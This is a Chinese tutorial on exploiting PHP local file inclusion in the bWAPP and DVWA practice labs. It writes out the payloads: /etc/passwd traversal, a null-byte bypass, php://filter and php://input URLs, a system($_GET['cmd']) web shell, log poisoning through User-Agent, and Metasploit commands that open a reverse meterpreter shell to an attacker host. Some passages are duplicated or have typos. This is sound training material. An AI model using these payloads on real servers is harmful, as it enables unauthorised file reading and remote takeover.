五种利用本地包含漏洞的方式

本文讲的是五种利用本地包含漏洞的方式,本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用内部定义的函数。

本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。

本篇文章的主要目的是分享在服务器上使用各种技术攻击一个Web服务器的想法,当服务器遭受文件包含漏洞时,用户会通过URL在浏览器中包括一个文件。在本文中,作者将使用了两个不同的平台bWAPP(一款非常好用的漏洞演示平台,集成了各种常见漏洞和最新漏洞的开源Web应用程序,目的是帮助网络安全爱好者、开发人员和学生发现并防止网络漏洞)和DVWA(dema vulnerable web application,是一个基于PHP/MYSQL环境写的一个web应用,主要目的是帮助安全专业员在合法的环境里面去测试他们的技术和工具),其中包含文件包含漏洞,然后以四种不同的方式执行LFI攻击。

基本本地文件包含

在浏览器中打开目标IP,并在BWAPP内登录为bee:bug,然后就可以选择remote & local file Inclusion,然后点击hack。

这时,所请求的具有RFI和LFI漏洞的网页就会被打开。你将在给定的下拉列表中找到用于选择语言的注释,当你单击go按钮时,所选的语言文件将包含在URL中。这时基本攻击操作便会执行。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd

在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,现在如果你注意到下面的截图,你会发现有浏览器中正在执行访问密码文件URL。

空字符注入

在一些情况下,由于高安全级别,上述所讲的基本本地文件包含攻击可能起不到攻击效果。从下面的图中,大家可以观察到,当在URL中执行相同的路径时,是无法读取密码文件的。所以当我们面对这样的问题,就要采用空字符注入攻击了。

现在打开Burp Suite(是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程)来捕获浏览器中的请求,然后选择proxy tab并开始intercept,不过不要忘记在使用Burp Suite时设置browser proxy  

Burp支持手动的Web应用程序测试的活动。它可以让你有效地结合手动和自动化技术,使你可以完全控制所有的BurpSuite执行的行动,并提供有关你所测试的应用程序的详细信息和分析。 让我们一起来看看Burp Suite的测试流程过程吧。 如下图

现在内部BurpSuite会将拦截的数据发送到中继器。

存在于其中面的中继器你可以做发送的请求和响应生成的分析。从一下屏幕的截图中,我们可以清楚的发现, / etc / passwd是不工作,所以我们无法读取密码文件。

从以下截图中,可以看到我们已经通过在/ etc / passwd%00目录的末尾添加空了字符(%00)来转发请求,单击go运行之后,然后在窗口的右视图上,密码文件作为响应就被打开。

Base64编码

现在用另一种方法来利用LFI时,当安全级别很高时,并且无法查看PHP文件内容时,可以使用以下PHP函数。

http://192.168.1.101/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode/resource=/etc/passwd

从下面的截图你可以看到密码文件的内容编码为base64,然后复制整个编码文本。

比如本文的作者使用的就是hackbar(firefox浏览器上的一个插件)解码上面复制的文本。

现在会有一个弹出框被打开,然后复制编码文本,并单击OK

从以下的屏幕截图中,你可以查看结果并读取密码文件的内容。

PHP输入

使用PHP输入函数,我们将执行注入的PHP代码来利用LFI漏洞。在hackbar的帮助下,就可以开始执行这个任务了,首先,我们需要加载目标网页的URL,如下方的屏幕截图所示。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

现在使用PHP输入函数,操作上面的URL 

http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

然后选中复选框的enable Post data ,

,它将转发发布请求并在给定文本区域中添加cmd注释<?php system($ _ GET ['cmd']); ?>如下图所示,最后点击execute。然后被攻击者的PC目录就显示了出来。

现在就可以通过反向连接连接受害者;在kali Linux(基于Debian的Linux发行版, 设计用于数字取证和渗透测试)中打开终端并键入msfconsole启动metasploit框架。

现在键入use exploit / multi / script / web_delivery

msf exploit(web_delivery)>set target 1
msf exploit(web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit(web_delivery)> set lhost 192.168.0.104
msf exploit(web_delivery)> set srvport 8081
msf exploit(web_delivery)> exploit

然后复制下面窗口红色字体的文本

将上面复制的PHP代码粘贴到URL中,如图所示,并执行它。

当执行上面的URL时,攻击者就会在metasploit中获得受害者的meterpreter通信记录。

msf exploit(web_delivery)> session -I 1
meterpreter> sysinfo

Proc / self / environ

如果服务器已过响应时间,还可以通过LFI重新利用,包括存储在User_Agent的/proc/self/environ文件,我们将把我们的PHP代码放置其中用于执行CMD命令。

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

现在启动burp suite 并捕获浏览器的请求,就能获取发送到中继器的数据。

在user_Agent内,添加cmd注释<?php system($ _ GET ['cmd']); ?>,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。在窗口的右侧,你就可以看到hig

添加cmd注释<?php system($ _ GET ['cmd']); ?>在user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。 在窗口的右侧,你可以看到有闪亮的字体,这代表出现了相应的响应。

原文发布时间为:2017年2月18日

本文作者:xiaohui 

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2025-01-21 04:18:38

五种利用本地包含漏洞的方式的相关文章

保证安全 认清五种易被忽视的攻击方式

本文将给大家展示五种不被人们特别关注的黑客攻击方式,以提醒大家在防范黑客攻击的过程中必需将它们与防范其它黑客攻击方式一样被重视,以进一步减少被黑客攻击的风险. 一.盗取密码 密码被盗取问题每年都被不断地提起,但是,就是没有多少人能吸取这些教训,以及采取实际的行动来解决这个问题.从这里可以看出,同样的安全问题之所以年年都在发生,有时并不是用户不了解,而是用户不愿意按解决它的要求去做. 现在的计算机应用当中有许多方面都在使用密码提供身份认证,但如果我们所处的网络环境中仅仅使用密码来进行身份认证,由于

五种获取正版卡巴斯基软件的方式

您可以通过以下五种方式获取正版卡巴斯基反病毒软件: 一. 下载360安全卫士,半年免费使用卡巴斯基反病毒软件6.0个人版: 360安全卫士网站下载: http://www.360safe.com 二. 学校用户可通过"关注教育,普及正版"活动,由学校统一申请半年免费使用卡巴斯基反病毒软件网络版及个人版: http://www.kaspersky.com.cn/xuanchuan/xuanchuan.htm 三.多种支付方式在线购买,卡巴斯基反病毒软件6.0个人版和卡巴斯基互联网安全套装

帝国理工创新领袖:数据驱动创新的五种模式

当今世界,数据为创新带来新动力.数据创造了新的产品和服务.产生了新的商业模式.带来了新的创业机会.英国帝国理工大学副校长.著名创新领袖David Gann博士提出了"数据驱动创新的五种模式",下面我们就来看看他在演讲中的主要观点. 一.让产品产生数据(Augmenting Products to Generate Data) 在传统的产品装上传感器,产品不仅具有使用功能,而且还能产生数据.数据通过无线通讯技术传输到服务器,便能产生巨大的价值,例如提高新产品设计.优化工艺.维保预测等等.

jQuery实现返回顶部效果五种方法

这里我介绍五种利用jQuery实现返回顶部效果 方法1.好处:回顶部按钮紧贴网页外层DIV边框:缺点:滚动时不够平滑.  代码如下 复制代码 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.o

如何把本地文件包含变为远程文件包含漏洞

本文讲的是如何把本地文件包含变为远程文件包含漏洞, 本地文件包含(LFI)在Web渗透测试中时不时的会遇到,通过加强对LFI渗透测试技术的研究,可以帮助渗透测试人员在未来的渗透测试过程中,识别和测试LFI漏洞. 目前我已经找到了一种将LFI转换为多个Web框架的远程文件包含(RFI)的方法 由于我一直在评估一些开源软件,所以就会发现代码执行的一个方法就是依赖于我选择的驻留在Web服务器上的JAR文件.当以特定方式配置时,Web应用程序将加载JAR文件并在文件中搜索同类文件.有意思的是,在Java

浅谈容易被百度降权的五种结构方式

俗话说的好,外链为皇,内容为王,在现在的百度严重,外链和内容是很容易让百度判断你作弊的地方,出了这2点,还有一种就是结构降权的方式,而结构降权就是自己对网站程序不是把握很好,这方面如果发生降权就是对网站产生很大的影响,因为你需要改版调整,等等,自己就简单的说下容易被百度降权的几种结构形式吧. 一:URL的标准化问题-优化代码 曾经见过一份网站,百度收录了下面四个主页,***.com,***.com/index.html,www.***.com,www.***.com/index.html,收录了

详解Ntbackup的五种备份方式(下)

四.差异备份(Differental Backup) 差异备份是相对与针对完全备份而言的,同样是备份上一次的完全备份后发生变化的文件.听起来和增量备份差不多,两者最大的区别就是,差异备份在备份动作完成后,不会清除文件的归档标记,而增量备份则会. 我们还是以上一节备份5个同事日志为例子.比如周一,我们对全部日志进行一次完全备份,周二,我们对其进行差异备份,也就是只备份修改的内容.但此时并不会修改文件的A属性.周三,继续差异备份,除了备份当天修改的,连同周日修改的文件也会一起备份起来.以此类推.恢复

无线接入的五种方式

移动通信系统: 移动通信系统由第一代模拟制式到第二代数字制式,第三代以CDMA技术为基础的移动通信也即将商用,第四代移动通信系统正在实验中,5年后将面世. 无线本地环路系统: 有线固定电话用户以无线方式接入公用电话网称为无线本地环路系统.此方式比较经济.现实,它不但降低了维护成本,缩短了建设周期,同时设备扩容方便,特别适合远离城市的边远地区.GSM标准.CDMA.FDMA.TDMA技术也被应用在无线本地环路中.无线本地环路主要针对固定无线用户接入,因此其工作频率不与公众移动通信网相同,主要分布在

机器学习影响现代云计算的五种方式

本文讲的是机器学习影响现代云计算的五种方式[IT168 编译]云计算行业正逐渐向智能的方向转变.虽然计算.存储和网络仍然是云供应商的主要收入来源,但机器学习也正慢慢成为当代云计算的焦点. 以下是五种被机器学习高度影响的云服务: 认知计算(Cognitive Computing) 认知计算的目标是为应用程序带来感觉能力,使App能够看.听.说.甚至决策.基于自然语言处理.视觉识别.人脸识别.情感识别.视频分析.文本转语音.语音转文本.语言翻译和情感分析等技术,认知计算使开发人员能够通过简单的API